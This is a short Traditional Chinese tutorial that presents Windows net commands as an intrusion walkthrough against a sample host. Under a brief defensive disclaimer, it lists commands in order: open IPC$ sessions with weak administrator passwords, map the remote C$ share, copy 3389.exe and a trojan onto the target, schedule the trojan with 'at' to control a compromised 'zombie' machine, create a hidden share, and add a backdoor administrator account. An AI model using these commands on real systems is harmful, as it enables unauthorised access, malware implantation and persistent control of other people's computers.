Windows DOS 指令實戰（一）：Net 指令與常用入侵指令詳解

前言

本文整理 Windows 命令提示字元下常用的 net 系列指令與實際入侵測試中常見的操作指令，供系統管理員了解攻擊手法以強化防禦。嚴禁用於非法用途。

常用 Net 指令範例（以 IP 192.168.1.1 為例）

1. 建立 IPC$ 空連線或對應磁碟機

net use \\192.168.1.1\ipc$ "password" /user:username
net use \\192.168.1.1\c$ "password" /user:administrator

範例：net use \\192.168.1.1\ipc$ 123456 /user:administrator —— 以 administrator/123456 建立對 192.168.1.1 的 IPC$ 空連線。

2. 刪除 IPC$ 連線

net use \\192.168.1.1 /del

3. 服務啟動/停止

net start                 :: 列出已啟動服務
net start telnet          :: 啟動 Telnet 服務
net stop telnet           :: 停止 Telnet 服務

4. 共享管理

net share ipc$            :: 開啟 IPC$ 預設共享
net share ipc$ /del       :: 關閉 IPC$ 共享
net share c=c:\           :: 完整共享 C 槽
net share d=d:\ /del      :: 移除 D 槽共享
net share e$=e:\          :: 建立隱藏共享 E 槽

5. 磁碟機對應

net use z: \\192.168.1.1\c$   :: 將遠端 C 槽對應為本機 Z 槽
net use z: /del               :: 取消對應

成功條件：必須先建立 IPC$ 連線。對應後可直接複製檔案至遠端硬碟。

6. 遠端複製檔案

copy e:\3389.exe \\192.168.1.1\c$

將本機 E 槽的 3389.exe 複製到遠端 C 槽根目錄。同樣需先建立 IPC$ 連線。

7. 查看遠端系統時間

net time \\192.168.1.1

用途：取得對方時間，配合排程工作植入木馬。

8. 遠端執行程式

at \\192.168.1.1 12:30 c:\server.exe

讓遠端主機在 12:30 執行已複製過去的木馬程式，以圖形化方式控制「肉雞」。

9. 新增管理員帳號

net user ylinuxs 123456 /add
net localgroup administrators ylinuxs /add

修改密碼：net user ylinuxs 123。注意：極少數系統管理群組名稱非 administrators，需視實際情況調整。

10. 遠端登入

telnet 192.168.1.1 135

連接遠端主機的 135 連接埠。